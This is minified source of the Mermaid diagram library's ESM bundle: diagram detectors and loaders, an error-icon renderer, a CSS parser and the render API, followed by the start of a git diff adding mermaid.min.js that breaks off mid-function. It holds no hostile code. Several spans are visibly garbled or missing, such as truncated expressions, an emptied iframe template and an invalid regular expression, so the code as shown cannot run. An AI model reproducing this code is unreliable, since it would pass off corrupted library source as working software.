Yt}from"./chunks/mermaid.esm.min/chunk-ASAHGCDZ.mjs";import{a as Ut,b as qt}from"./chunks/mermaid.esm.min/chunk-F3RBCZRS.mjs";import{a as Bt}from"./chunks/mermaid.esm.min/chunk-W6CKT3PL.mjs";import"./chunks/mermaid.esm.min/chunk-TVVDRG3C.mjs";import"./chunks/mermaid.esm.min/chunk-RV6DXAHM.mjs";import"./chunks/mermaid.esm.min/chunk-EQI6KKA3.mjs";import"./chunks/mermaid.esm.min/chunk-LM6QDVU5.mjs";import"./chunks/mermaid.esm.min/chunk-5V7UUW6L.mjs";import{b as Ot,d as Pt}from"./chunks/mermaid.esm.min/chunk-GOL2OBWC.mjs";import{b as Vt,j as yt,l as $t,m as V,n as Nt,o as Ht}from"./chunks/mermaid.esm.min/chunk-EFRVIJHI.mjs";import"./chunks/mermaid.esm.min/chunk-THXVA4DE.mjs";import{$ as z,E as Ft,G as It,H as X,I as rt,J as W,K as _t,L as Gt,N as zt,a as St,aa as K,h as tt,k as ut,l as Mt,m as At,n as Tt,o as Dt,p as Ct,q as G,r as Rt,s as Y,u as kt,y as jt}from"./chunks/mermaid.esm.min/chunk-KXVH62NG.mjs";import{b as g,c as lt,h as k}from"./chunks/mermaid.esm.min/chunk-63GW7ZVL.mjs";import{d as xt}from"./chunks/mermaid.esm.min/chunk-IQQE2MEC.mjs";import"./chunks/mermaid.esm.min/chunk-A4ITRWGT.mjs";import{a as r}from"./chunks/mermaid.esm.min/chunk-GTKDMUJJ.mjs";var Pe=r(t=>/^\s*C4Context|C4Container|C4Component|C4Dynamic|C4Deployment/.test(t),"detector"),Fe=r(async()=>{let{diagram:t}=await import("./chunks/mermaid.esm.min/c4Diagram-Q5SP5FFD.mjs");return{id:"c4",diagram:t}},"loader"),Ie={id:"c4",detector:Pe,loader:Fe},Xt=Ie;var Wt="flowchart",_e=r((t,e)=>e?.flowchart?.defaultRenderer==="dagre-wrapper"||e?.flowchart?.defaultRenderer==="elk"?!1:/^\s*graph/.test(t),"detector"),Ge=r(async()=>{let{diagram:t}=await import("./chunks/mermaid.esm.min/flowDiagram-UML6HZQP.mjs");return{id:Wt,diagram:t}},"loader"),ze={id:Wt,detector:_e,loader:Ge},Kt=ze;var Qt="flowchart-v2",Ve=r((t,e)=>e?.flowchart?.defaultRenderer==="dagre-d3"?!1:(e?.flowchart?.defaultRenderer==="elk"&&(e.layout="elk"),/^\s*graph/.test(t)&&e?.flowchart?.defaultRenderer==="dagre-wrapper"?!0:/^\s*flowchart/.test(t)),"detector"),$e=r(async()=>{let{diagram:t}=await import("./chunks/mermaid.esm.min/flowDiagram-UML6HZQP.mjs");return{id:Qt,diagram:t}},"loader"),Ne={id:Qt,detector:Ve,loader:$e},Jt=Ne;var He=r(t=>/^\s*erDiagram/.test(t),"detector"),Ue=r(async()=>{let{diagram:t}=await import("./chunks/mermaid.esm.min/erDiagram-MBDK6S7D.mjs");return{id:"er",diagram:t}},"loader"),qe={id:"er",detector:He,loader:Ue},Zt=qe;var tr="gitGraph",Be=r(t=>/^\s*gitGraph/.test(t),"detector"),Ye=r(async()=>{let{diagram:t}=await import("./chunks/mermaid.esm.min/gitGraphDiagram-JCGM6PWI.mjs");return{id:tr,diagram:t}},"loader"),Xe={id:tr,detector:Be,loader:Ye},rr=Xe;var er="gantt",We=r(t=>/^\s*gantt/.test(t),"detector"),Ke=r(async()=>{let{diagram:t}=await import("./chunks/mermaid.esm.min/ganttDiagram-SAESIEWH.mjs");return{id:er,diagram:t}},"loader"),Qe={id:er,detector:We,loader:Ke},ar=Qe;var ir="info",Je=r(t=>/^\s*info/.test(t),"detector"),Ze=r(async()=>{let{diagram:t}=await import("./chunks/mermaid.esm.min/infoDiagram-GKI3LBYJ.mjs");return{id:ir,diagram:t}},"loader"),or={id:ir,detector:Je,loader:Ze};var ta=r(t=>/^\s*pie/.test(t),"detector"),ra=r(async()=>{let{diagram:t}=await import("./chunks/mermaid.esm.min/pieDiagram-QB62DFGK.mjs");return{id:"pie",diagram:t}},"loader"),nr={id:"pie",detector:ta,loader:ra};var sr="quadrantChart",ea=r(t=>/^\s*quadrantChart/.test(t),"detector"),aa=r(async()=>{let{diagram:t}=await import("./chunks/mermaid.esm.min/quadrantDiagram-AGVETKZM.mjs");return{id:sr,diagram:t}},"loader"),ia={id:sr,detector:ea,loader:aa},cr=ia;var mr="xychart",oa=r(t=>/^\s*xychart(-beta)?/.test(t),"detector"),na=r(async()=>{let{diagram:t}=await import("./chunks/mermaid.esm.min/xychartDiagram-6J6QOAP6.mjs");return{id:mr,diagram:t}},"loader"),sa={id:mr,detector:oa,loader:na},pr=sa;var dr="requirement",ca=r(t=>/^\s*requirement(Diagram)?/.test(t),"detector"),ma=r(async()=>{let{diagram:t}=await import("./chunks/mermaid.esm.min/requirementDiagram-BJFPASL3.mjs");return{id:dr,diagram:t}},"loader"),pa={id:dr,detector:ca,loader:ma},fr=pa;var gr="sequence",da=r(t=>/^\s*sequenceDiagram/.test(t),"detector"),fa=r(async()=>{let{diagram:t}=await import("./chunks/mermaid.esm.min/sequenceDiagram-W4XLKSBU.mjs");return{id:gr,diagram:t}},"loader"),ga={id:gr,detector:da,loader:fa},lr=ga;var ur="class",la=r((t,e)=>e?.class?.defaultRenderer==="dagre-wrapper"?!1:/^\s*classDiagram/.test(t),"detector"),ua=r(async()=>{let{diagram:t}=await import("./chunks/mermaid.esm.min/classDiagram-FKO7XAE5.mjs");return{id:ur,diagram:t}},"loader"),Da={id:ur,detector:la,loader:ua},Dr=Da;var yr="classDiagram",ya=r((t,e)=>/^\s*classDiagram/.test(t)&&e?.class?.defaultRenderer==="dagre-wrapper"?!0:/^\s*classDiagram-v2/.test(t),"detector"),xa=r(async()=>{let{diagram:t}=await import("./chunks/mermaid.esm.min/classDiagram-v2-XZHHGUJO.mjs");return{id:yr,diagram:t}},"loader"),ha={id:yr,detector:ya,loader:xa},xr=ha;var hr="state",Ea=r((t,e)=>e?.state?.defaultRenderer==="dagre-wrapper"?!1:/^\s*stateDiagram/.test(t),"detector"),wa=r(async()=>{let{diagram:t}=await import("./chunks/mermaid.esm.min/stateDiagram-ZFDIVMDF.mjs");return{id:hr,diagram:t}},"loader"),La={id:hr,detector:Ea,loader:wa},Er=La;var wr="stateDiagram",ba=r((t,e)=>!!(/^\s*stateDiagram-v2/.test(t)||/^\s*stateDiagram/.test(t)&&e?.state?.defaultRenderer==="dagre-wrapper"),"detector"),va=r(async()=>{let{diagram:t}=await import("./chunks/mermaid.esm.min/stateDiagram-v2-GQU47BET.mjs");return{id:wr,diagram:t}},"loader"),Sa={id:wr,detector:ba,loader:va},Lr=Sa;var br="journey",Ma=r(t=>/^\s*journey/.test(t),"detector"),Aa=r(async()=>{let{diagram:t}=await import("./chunks/mermaid.esm.min/journeyDiagram-E42M6OD5.mjs");return{id:br,diagram:t}},"loader"),Ta={id:br,detector:Ma,loader:Aa},vr=Ta;var Ca=r((t,e,a)=>{g.debug(`rendering svg for syntax error +`);let i=Yt(e),o=i.append("g");i.attr("viewBox","0 0 2412 512"),Gt(i,100,512,!0),o.append("path").attr("class","error-icon").attr("d","m411.313,123.313c6.25-6.25 6.25-16.375 0-22.625s-16.375-6.25-22.625,0l-32,32-9.375,9.375-20.688-20.688c-12.484-12.5-32.766-12.5-45.25,0l-16,16c-1.261,1.261-2.304,2.648-3.31,4.051-21.739-8.561-45.324-13.426-70.065-13.426-105.867,0-192,86.133-192,192s86.133,192 192,192 192-86.133 192-192c0-24.741-4.864-48.327-13.426-70.065 1.402-1.007 2.79-2.049 4.051-3.31l16-16c12.5-12.492 12.5-32.758 0-45.25l-20.688-20.688 9.375-9.375 32.001-31.999zm-219.313,100.687c-52.938,0-96,43.063-96,96 0,8.836-7.164,16-16,16s-16-7.164-16-16c0-70.578 57.422-128 128-128 8.836,0 16,7.164 16,16s-7.164,16-16,16z"),o.append("path").attr("class","error-icon").attr("d","m459.02,148.98c-6.25-6.25-16.375-6.25-22.625,0s-6.25,16.375 0,22.625l16,16c3.125,3.125 7.219,4.688 11.313,4.688 4.094,0 8.188-1.563 11.313-4.688 6.25-6.25 6.25-16.375 0-22.625l-16.001-16z"),o.append("path").attr("class","error-icon").attr("d","m340.395,75.605c3.125,3.125 7.219,4.688 11.313,4.688 4.094,0 8.188-1.563 11.313-4.688 6.25-6.25 6.25-16.375 0-22.625l-16-16c-6.25-6.25-16.375-6.25-22.625,0s-6.25,16.375 0,22.625l15.999,16z"),o.append("path").attr("class","error-icon").attr("d","m400,64c8.844,0 16-7.164 16-16v-32c0-8.836-7.156-16-16-16-8.844,0-16,7.164-16,16v32c0,8.836 7.156,16 16,16z"),o.append("path").attr("class","error-icon").attr("d","m496,96.586h-32c-8.844,0-16,7.164-16,16 0,8.836 7.156,16 16,16h32c8.844,0 16-7.164 16-16 0-8.836-7.156-16-16-16z"),o.append("path").attr("class","error-icon").attr("d","m436.98,75.605c3.125,3.125 7.219,4.688 11.313,4.688 4.094,0 8.188-1.563 11.313-4.688l32-32c6.25-6.25 6.25-16.375 0-22.625s-16.375-6.25-22.625,0l-32,32c-6.251,6.25-6.251,16.375-0.001,22.625z"),o.append("text").attr("class","error-text").attr("x",1440).attr("y",250).attr("font-size","150px").style("text-anchor","middle").text("Syntax error in text"),o.append("text").attr("class","error-text").attr("x",1250).attr("y",400).attr("font-size","100px").style("text-anchor","middle").text(`mermaid version ${a}`)},"draw"),Et={draw:Ca},Sr=Et;var Ra={db:{},renderer:Et,parser:{parse:r(()=>{},"parse")}},Mr=Ra;var Ar="flowchart-elk",ka=r((t,e={})=>/^\s*flowchart-elk/.test(t)||/^\s*(flowchart|graph)/.test(t)&&e?.flowchart?.defaultRenderer==="elk"?(e.layout="elk",!0):!1,"detector"),ja=r(async()=>{let{diagram:t}=await import("./chunks/mermaid.esm.min/flowDiagram-UML6HZQP.mjs");return{id:Ar,diagram:t}},"loader"),Oa={id:Ar,detector:ka,loader:ja},Tr=Oa;var Cr="timeline",Pa=r(t=>/^\s*timeline/.test(t),"detector"),Fa=r(async()=>{let{diagram:t}=await import("./chunks/mermaid.esm.min/timeline-definition-DZOEFOHF.mjs");return{id:Cr,diagram:t}},"loader"),Ia={id:Cr,detector:Pa,loader:Fa},Rr=Ia;var kr="mindmap",_a=r(t=>/^\s*mindmap/.test(t),"detector"),Ga=r(async()=>{let{diagram:t}=await import("./chunks/mermaid.esm.min/mindmap-definition-ZYHNXUZP.mjs");return{id:kr,diagram:t}},"loader"),za={id:kr,detector:_a,loader:Ga},jr=za;var Or="kanban",Va=r(t=>/^\s*kanban/.test(t),"detector"),$a=r(async()=>{let{diagram:t}=await import("./chunks/mermaid.esm.min/kanban-definition-D5DEDDHO.mjs");return{id:Or,diagram:t}},"loader"),Na={id:Or,detector:Va,loader:$a},Pr=Na;var Fr="sankey",Ha=r(t=>/^\s*sankey(-beta)?/.test(t),"detector"),Ua=r(async()=>{let{diagram:t}=await import("./chunks/mermaid.esm.min/sankeyDiagram-XSL23WO4.mjs");return{id:Fr,diagram:t}},"loader"),qa={id:Fr,detector:Ha,loader:Ua},Ir=qa;var _r="packet",Ba=r(t=>/^\s*packet(-beta)?/.test(t),"detector"),Ya=r(async()=>{let{diagram:t}=await import("./chunks/mermaid.esm.min/diagram-BZV4OSZQ.mjs");return{id:_r,diagram:t}},"loader"),Gr={id:_r,detector:Ba,loader:Ya};var zr="radar",Xa=r(t=>/^\s*radar-beta/.test(t),"detector"),Wa=r(async()=>{let{diagram:t}=await import("./chunks/mermaid.esm.min/diagram-DKYQLJNW.mjs");return{id:zr,diagram:t}},"loader"),Vr={id:zr,detector:Xa,loader:Wa};var $r="block",Ka=r(t=>/^\s*block(-beta)?/.test(t),"detector"),Qa=r(async()=>{let{diagram:t}=await import("./chunks/mermaid.esm.min/blockDiagram-BWRZOBD3.mjs");return{id:$r,diagram:t}},"loader"),Ja={id:$r,detector:Ka,loader:Qa},Nr=Ja;var Hr="architecture",Za=r(t=>/^\s*architecture/.test(t),"detector"),ti=r(async()=>{let{diagram:t}=await import("./chunks/mermaid.esm.min/architectureDiagram-4X3Z3J56.mjs");return{id:Hr,diagram:t}},"loader"),ri={id:Hr,detector:Za,loader:ti},Ur=ri;var qr="treemap",ei=r(t=>/^\s*treemap/.test(t),"detector"),ai=r(async()=>{let{diagram:t}=await import("./chunks/mermaid.esm.min/diagram-LL6QPXA2.mjs");return{id:qr,diagram:t}},"loader"),Br={id:qr,detector:ei,loader:ai};var Yr=!1,$=r(()=>{Yr||(Yr=!0,z("error",Mr,t=>t.toLowerCase().trim()==="error"),z("---",{db:{clear:r(()=>{},"clear")},styles:{},renderer:{draw:r(()=>{},"draw")},parser:{parse:r(()=>{throw new Error("Diagrams beginning with --- are not valid. If you were trying to use a YAML front-matter, please ensure that you've correctly opened and closed the YAML front-matter with un-indented `---` blocks")},"parse")},init:r(()=>null,"init")},t=>t.toLowerCase().trimStart().startsWith("---")),W(Tr,jr,Ur),W(Xt,Pr,xr,Dr,Zt,ar,or,nr,fr,lr,Jt,Kt,Rr,rr,Lr,Er,vr,cr,Ir,Gr,pr,Nr,Vr,Br))},"addDiagrams");var Xr=r(async()=>{g.debug("Loading registered diagrams");let e=(await Promise.allSettled(Object.entries(X).map(async([a,{detector:i,loader:o}])=>{if(o)try{K(a)}catch{try{let{diagram:n,id:m}=await o();z(m,n,i)}catch(n){throw g.error(`Failed to load external diagram with key ${a}. Removing from detectors.`),delete X[a],n}}}))).filter(a=>a.status==="rejected");if(e.length>0){g.error(`Failed to load ${e.length} external diagrams`);for(let a of e)g.error(a);throw new Error(`Failed to load ${e.length} external diagrams`)}},"loadRegisteredDiagrams");var et="comm",at="rule",it="decl";var Wr="@import";var Kr="@namespace",Qr="@keyframes";var Jr="@layer";var wt=Math.abs,Q=String.fromCharCode;function ot(t){return t.trim()}r(ot,"trim");function J(t,e,a){return t.replace(e,a)}r(J,"replace");function Zr(t,e,a){return t.indexOf(e,a)}r(Zr,"indexof");function P(t,e){return t.charCodeAt(e)|0}r(P,"charat");function F(t,e,a){return t.slice(e,a)}r(F,"substr");function h(t){return t.length}r(h,"strlen");function te(t){return t.length}r(te,"sizeof");function N(t,e){return e.push(t),t}r(N,"append");var nt=1,H=1,re=0,w=0,D=0,q="";function st(t,e,a,i,o,n,m,s){return{value:t,root:e,parent:a,type:i,props:o,children:n,line:nt,column:H,length:m,return:"",siblings:s}}r(st,"node");function ee(){return D}r(ee,"char");function ae(){return D=w>0?P(q,--w):0,H--,D===10&&(H=1,nt--),D}r(ae,"prev");function L(){return D=w2||U(D)>3?"":" "}r(ne,"whitespace");function se(t,e){for(;--e&&L()&&!(D<48||D>102||D>57&&D<65||D>70&&D<97););return ct(t,Z()+(e<6&&j()==32&&L()==32))}r(se,"escaping");function Lt(t){for(;L();)switch(D){case t:return w;case 34:case 39:t!==34&&t!==39&&Lt(D);break;case 40:t===41&&Lt(t);break;case 92:L();break}return w}r(Lt,"delimiter");function ce(t,e){for(;L()&&t+D!==57;)if(t+D===84&&j()===47)break;return"/*"+ct(e,w-1)+"*"+Q(t===47?t:L())}r(ce,"commenter");function me(t){for(;!U(j());)L();return ct(t,w)}r(me,"identifier");function fe(t){return oe(pt("",null,null,null,[""],t=ie(t),0,[0],t))}r(fe,"compile");function pt(t,e,a,i,o,n,m,s,c){for(var l=0,y=0,p=m,x=0,A=0,b=0,f=1,C=1,v=1,u=0,S="",R=o,T=n,E=i,d=S;C;)switch(b=u,u=L()){case 40:if(b!=108&&P(d,p-1)==58){Zr(d+=J(mt(u),"&","&\f"),"&\f",wt(l?s[l-1]:0))!=-1&&(v=-1);break}case 34:case 39:case 91:d+=mt(u);break;case 9:case 10:case 13:case 32:d+=ne(b);break;case 92:d+=se(Z()-1,7);continue;case 47:switch(j()){case 42:case 47:N(ii(ce(L(),Z()),e,a,c),c),(U(b||1)==5||U(j()||1)==5)&&h(d)&&F(d,-1,void 0)!==" "&&(d+=" ");break;default:d+="/"}break;case 123*f:s[l++]=h(d)*v;case 125*f:case 59:case 0:switch(u){case 0:case 125:C=0;case 59+y:v==-1&&(d=J(d,/\f/g,"")),A>0&&(h(d)-p||f===0&&b===47)&&N(A>32?de(d+";",i,a,p-1,c):de(J(d," ","")+";",i,a,p-2,c),c);break;case 59:d+=";";default:if(N(E=pe(d,e,a,l,y,o,s,S,R=[],T=[],p,n),n),u===123)if(y===0)pt(d,e,E,E,R,n,p,s,T);else{switch(x){case 99:if(P(d,3)===110)break;case 108:if(P(d,2)===97)break;default:y=0;case 100:case 109:case 115:}y?pt(t,E,E,i&&N(pe(t,E,E,0,0,o,s,S,o,R=[],p,T),T),o,T,p,s,i?R:T):pt(d,E,E,E,[""],T,0,s,T)}}l=y=A=0,f=v=1,S=d="",p=m;break;case 58:p=1+h(d),A=b;default:if(f<1){if(u==123)--f;else if(u==125&&f++==0&&ae()==125)continue}switch(d+=Q(u),u*f){case 38:v=y>0?1:(d+="\f",-1);break;case 44:s[l++]=(h(d)-1)*v,v=1;break;case 64:j()===45&&(d+=mt(L())),x=j(),y=p=h(S=d+=me(Z())),u++;break;case 45:b===45&&h(d)==2&&(f=0)}}return n}r(pt,"parse");function pe(t,e,a,i,o,n,m,s,c,l,y,p){for(var x=o-1,A=o===0?n:[""],b=te(A),f=0,C=0,v=0;f0?A[u]+" "+S:J(S,/&\f/g,A[u])))&&(c[v++]=R);return st(t,e,a,o===0?at:s,c,l,y,p)}r(pe,"ruleset");function ii(t,e,a,i){return st(t,e,a,et,Q(ee()),F(t,2,-2),0,i)}r(ii,"comment");function de(t,e,a,i,o){return st(t,e,a,it,F(t,0,i),F(t,i+1,-1),i,o)}r(de,"declaration");function dt(t,e){for(var a="",i=0;i{De.forEach(t=>{t()}),De=[]},"attachFunctions");var xe=r(t=>t.replace(/^\s*%%(?!{)[^\n]+\n?/gm,"").trimStart(),"cleanupComments");function he(t){let e=t.match(Ft);if(!e)return{text:t,metadata:{}};let a=qt(e[1],{schema:Ut})??{};a=typeof a=="object"&&!Array.isArray(a)?a:{};let i={};return a.displayMode&&(i.displayMode=a.displayMode.toString()),a.title&&(i.title=a.title.toString()),a.config&&(i.config=a.config),{text:t.slice(e[0].length),metadata:i}}r(he,"extractFrontMatter");var si=r(t=>t.replace(/\r\n?/g,` +`).replace(/<(\w+)([^>]*)>/g,(e,a,i)=>"<"+a+i.replace(/="([^"]*)"/g,"='$1'")+">"),"cleanupText"),ci=r(t=>{let{text:e,metadata:a}=he(t),{displayMode:i,title:o,config:n={}}=a;return i&&(n.gantt||(n.gantt={}),n.gantt.displayMode=i),{title:o,config:n,text:e}},"processFrontmatter"),mi=r(t=>{let e=V.detectInit(t)??{},a=V.detectDirective(t,"wrap");return Array.isArray(a)?e.wrap=a.some(({type:i})=>i==="wrap"):a?.type==="wrap"&&(e.wrap=!0),{text:Vt(t),directive:e}},"processDirectives");function bt(t){let e=si(t),a=ci(e),i=mi(a.text),o=$t(a.config,i.directive);return t=xe(i.text),{code:t,title:a.title,config:o}}r(bt,"preprocessDiagram");function Ee(t){let e=new TextEncoder().encode(t),a=Array.from(e,i=>String.fromCodePoint(i)).join("");return btoa(a)}r(Ee,"toBase64");var pi=5e4,di="graph TB;a[Maximum text size in diagram exceeded];style a fill:#faa",fi="sandbox",gi="loose",li="http://www.w3.org/2000/svg",ui="http://www.w3.org/1999/xlink",Di="http://www.w3.org/1999/xhtml",yi="100%",xi="100%",hi="border:0;margin:0;",Ei="margin:0",wi="allow-top-navigation-by-user-activation allow-popups",Li='The "iframe" tag is not supported by your browser.',bi=["foreignobject"],vi=["dominant-baseline"];function ve(t){let e=bt(t);return Y(),Rt(e.config??{}),e}r(ve,"processAndSetConfigs");async function Si(t,e){$();try{let{code:a,config:i}=ve(t);return{diagramType:(await Se(a)).type,config:i}}catch(a){if(e?.suppressErrors)return!1;throw a}}r(Si,"parse");var we=r((t,e,a=[])=>` +.${t} ${e} { ${a.join(" !important; ")} !important; }`,"cssImportantStyles"),Mi=r((t,e=new Map)=>{let a="";if(t.themeCSS!==void 0&&(a+=` +${t.themeCSS}`),t.fontFamily!==void 0&&(a+=` +:root { --mermaid-font-family: ${t.fontFamily}}`),t.altFontFamily!==void 0&&(a+=` +:root { --mermaid-alt-font-family: ${t.altFontFamily}}`),e instanceof Map){let m=t.htmlLabels??t.flowchart?.htmlLabels?["> *","span"]:["rect","polygon","ellipse","circle","path"];e.forEach(s=>{xt(s.styles)||m.forEach(c=>{a+=we(s.id,c,s.styles)}),xt(s.textStyles)||(a+=we(s.id,"tspan",(s?.textStyles||[]).map(c=>c.replace("color","fill"))))})}return a},"createCssStyles"),Ai=r((t,e,a,i)=>{let o=Mi(t,a),n=zt(e,o,t.themeVariables);return dt(fe(`${i}{${n}}`),ge)},"createUserStyles"),Ti=r((t="",e,a)=>{let i=t;return!a&&!e&&(i=i.replace(/marker-end="url\([\d+./:=?A-Za-z-]*?#/g,'marker-end="url(#')),i=Ht(i),i=i.replace(/
    /g,"
    "),i},"cleanUpSvgCode"),Ci=r((t="",e)=>{let a=e?.viewBox?.baseVal?.height?e.viewBox.baseVal.height+"px":xi,i=Ee(`${t}`);return``},"putIntoIFrame"),Le=r((t,e,a,i,o)=>{let n=t.append("div");n.attr("id",a),i&&n.attr("style",i);let m=n.append("svg").attr("id",e).attr("width","100%").attr("xmlns",li);return o&&m.attr("xmlns:xlink",o),m.append("g"),t},"appendDivSvgG");function be(t,e){return t.append("iframe").attr("id",e).attr("style","width: 100%; height: 100%;").attr("sandbox","")}r(be,"sandboxedIframe");var Ri=r((t,e,a,i)=>{t.getElementById(e)?.remove(),t.getElementById(a)?.remove(),t.getElementById(i)?.remove()},"removeExistingElements"),ki=r(async function(t,e,a){$();let i=ve(e);e=i.code;let o=G();g.debug(o),e.length>(o?.maxTextSize??pi)&&(e=di);let n="#"+t,m="i"+t,s="#"+m,c="d"+t,l="#"+c,y=r(()=>{let gt=k(x?s:l).node();gt&&"remove"in gt&>.remove()},"removeTempElements"),p=k("body"),x=o.securityLevel===fi,A=o.securityLevel===gi,b=o.fontFamily;if(a!==void 0){if(a&&(a.innerHTML=""),x){let M=be(k(a),m);p=k(M.nodes()[0].contentDocument.body),p.node().style.margin=0}else p=k(a);Le(p,t,c,`font-family: ${b}`,ui)}else{if(Ri(document,t,c,m),x){let M=be(k("body"),m);p=k(M.nodes()[0].contentDocument.body),p.node().style.margin=0}else p=k("body");Le(p,t,c)}let f,C;try{f=await B.fromText(e,{title:i.title})}catch(M){if(o.suppressErrorRendering)throw y(),M;f=await B.fromText("error"),C=M}let v=p.select(l).node(),u=f.type,S=v.firstChild,R=S.firstChild,T=f.renderer.getClasses?.(e,f),E=Ai(o,u,T,n),d=document.createElement("style");d.innerHTML=E,S.insertBefore(d,R);try{await f.renderer.draw(e,t,ht.version,f)}catch(M){throw o.suppressErrorRendering?y():Sr.draw(e,t,ht.version),M}let ke=p.select(`${l} svg`),je=f.db.getAccTitle?.(),Oe=f.db.getAccDescription?.();Oi(u,ke,je,Oe),p.select(`[id="${t}"]`).selectAll("foreignobject > *").attr("xmlns",Di);let _=p.select(l).node().innerHTML;if(g.debug("config.arrowMarkerAbsolute",o.arrowMarkerAbsolute),_=Ti(_,x,jt(o.arrowMarkerAbsolute)),x){let M=p.select(l+" svg").node();_=Ci(_,M)}else A||(_=kt.sanitize(_,{ADD_TAGS:bi,ADD_ATTR:vi,HTML_INTEGRATION_POINTS:{foreignobject:!0}}));if(ye(),C)throw C;return y(),{diagramType:u,svg:_,bindFunctions:f.db.bindFunctions}},"render");function ji(t={}){let e=St({},t);e?.fontFamily&&!e.themeVariables?.fontFamily&&(e.themeVariables||(e.themeVariables={}),e.themeVariables.fontFamily=e.fontFamily),At(e),e?.theme&&e.theme in tt?e.themeVariables=tt[e.theme].getThemeVariables(e.themeVariables):e&&(e.themeVariables=tt.default.getThemeVariables(e.themeVariables));let a=typeof e=="object"?Mt(e):Dt();lt(a.logLevel),$()}r(ji,"initialize");var Se=r((t,e={})=>{let{code:a}=bt(t);return B.fromText(a,e)},"getDiagramFromText");function Oi(t,e,a,i){le(e,t),ue(e,a,i,e.attr("id"))}r(Oi,"addA11yInfo");var I=Object.freeze({render:ki,parse:Si,getDiagramFromText:Se,initialize:ji,getConfig:G,setConfig:Ct,getSiteConfig:Dt,updateSiteConfig:Tt,reset:r(()=>{Y()},"reset"),globalReset:r(()=>{Y(ut)},"globalReset"),defaultConfig:ut});lt(G().logLevel);Y(G());var Pi=r((t,e,a)=>{g.warn(t),yt(t)?(a&&a(t.str,t.hash),e.push({...t,message:t.str,error:t})):(a&&a(t),t instanceof Error&&e.push({str:t.message,message:t.message,hash:t.name,error:t}))},"handleError"),Me=r(async function(t={querySelector:".mermaid"}){try{await Fi(t)}catch(e){if(yt(e)&&g.error(e.str),O.parseError&&O.parseError(e),!t.suppressErrors)throw g.error("Use the suppressErrors option to suppress these errors"),e}},"run"),Fi=r(async function({postRenderCallback:t,querySelector:e,nodes:a}={querySelector:".mermaid"}){let i=I.getConfig();g.debug(`${t?"":"No "}Callback function found`);let o;if(a)o=a;else if(e)o=document.querySelectorAll(e);else throw new Error("Nodes and querySelector are both undefined");g.debug(`Found ${o.length} diagrams`),i?.startOnLoad!==void 0&&(g.debug("Start On Load: "+i?.startOnLoad),I.updateSiteConfig({startOnLoad:i?.startOnLoad}));let n=new V.InitIDGenerator(i.deterministicIds,i.deterministicIDSeed),m,s=[];for(let c of Array.from(o)){g.info("Rendering diagram: "+c.id);if(c.getAttribute("data-processed"))continue;c.setAttribute("data-processed","true");let l=`mermaid-${n.next()}`;m=c.innerHTML,m=Pt(V.entityDecode(m)).trim().replace(//gi,"
    ");let y=V.detectInit(m);y&&g.debug("Detected early reinit: ",y);try{let{svg:p,bindFunctions:x}=await Re(l,m,c);c.innerHTML=p,t&&await t(l),x&&x(c)}catch(p){Pi(p,s,O.parseError)}}if(s.length>0)throw s[0]},"runThrowsErrors"),Ae=r(function(t){I.initialize(t)},"initialize"),Ii=r(async function(t,e,a){g.warn("mermaid.init is deprecated. Please use run instead."),t&&Ae(t);let i={postRenderCallback:a,querySelector:".mermaid"};typeof e=="string"?i.querySelector=e:e&&(e instanceof HTMLElement?i.nodes=[e]:i.nodes=e),await Me(i)},"init"),_i=r(async(t,{lazyLoad:e=!0}={})=>{$(),W(...t),e===!1&&await Xr()},"registerExternalDiagrams"),Te=r(function(){if(O.startOnLoad){let{startOnLoad:t}=I.getConfig();t&&O.run().catch(e=>g.error("Mermaid failed to initialize",e))}},"contentLoaded");if(typeof document<"u"){window.addEventListener("load",Te,!1)}var Gi=r(function(t){O.parseError=t},"setParseErrorHandler"),ft=[],vt=!1,Ce=r(async()=>{if(!vt){for(vt=!0;ft.length>0;){let t=ft.shift();if(t)try{await t()}catch(e){g.error("Error executing queue",e)}}vt=!1}},"executeQueue"),zi=r(async(t,e)=>new Promise((a,i)=>{let o=r(()=>new Promise((n,m)=>{I.parse(t,e).then(s=>{n(s),a(s)},s=>{g.error("Error parsing",s),O.parseError?.(s),m(s),i(s)})}),"performCall");ft.push(o),Ce().catch(i)}),"parse"),Re=r((t,e,a)=>new Promise((i,o)=>{let n=r(()=>new Promise((m,s)=>{I.render(t,e,a).then(c=>{m(c),i(c)},c=>{g.error("Error parsing",c),O.parseError?.(c),s(c),o(c)})}),"performCall");ft.push(n),Ce().catch(o)}),"render"),Vi=r(()=>Object.keys(X).map(t=>({id:t})),"getRegisteredDiagramsMetadata"),O={startOnLoad:!0,mermaidAPI:I,parse:zi,render:Re,init:Ii,run:Me,registerExternalDiagrams:_i,registerLayoutLoaders:Bt,initialize:Ae,parseError:void 0,contentLoaded:Te,setParseErrorHandler:Gi,detectType:rt,registerIconPacks:Ot,getRegisteredDiagramsMetadata:Vi},Xs=O;export{Xs as default}; +/*! Check if previously processed */ +/*! + * Wait for document loaded before starting the execution + */ diff --git a/static/js/mermaid.min.js b/static/js/mermaid.min.js new file mode 100644 index 0000000..0f033c7 --- /dev/null +++ b/static/js/mermaid.min.js @@ -0,0 +1,2811 @@ +"use strict";var __esbuild_esm_mermaid_nm;(__esbuild_esm_mermaid_nm||={}).mermaid=(()=>{var V3e=Object.create;var _y=Object.defineProperty;var U3e=Object.getOwnPropertyDescriptor;var H3e=Object.getOwnPropertyNames;var q3e=Object.getPrototypeOf,W3e=Object.prototype.hasOwnProperty;var o=(t,e)=>_y(t,"name",{value:e,configurable:!0});var N=(t,e)=>()=>(t&&(e=t(t=0)),e);var Da=(t,e)=>()=>(e||t((e={exports:{}}).exports,e),e.exports),dr=(t,e)=>{for(var r in e)_y(t,r,{get:e[r],enumerable:!0})},q4=(t,e,r,n)=>{if(e&&typeof e=="object"||typeof e=="function")for(let i of H3e(e))!W3e.call(t,i)&&i!==r&&_y(t,i,{get:()=>e[i],enumerable:!(n=U3e(e,i))||n.enumerable});return t},Lr=(t,e,r)=>(q4(t,e,"default"),r&&q4(r,e,"default")),ja=(t,e,r)=>(r=t!=null?V3e(q3e(t)):{},q4(e||!t||!t.__esModule?_y(r,"default",{value:t,enumerable:!0}):r,t)),Y3e=t=>q4(_y({},"__esModule",{value:!0}),t);var X3e,y0,t7,Uz,W4=N(()=>{"use strict";X3e=Object.freeze({left:0,top:0,width:16,height:16}),y0=Object.freeze({rotate:0,vFlip:!1,hFlip:!1}),t7=Object.freeze({...X3e,...y0}),Uz=Object.freeze({...t7,body:"",hidden:!1})});var j3e,Hz,qz=N(()=>{"use strict";W4();j3e=Object.freeze({width:null,height:null}),Hz=Object.freeze({...j3e,...y0})});var r7,Y4,Wz=N(()=>{"use strict";r7=o((t,e,r,n="")=>{let 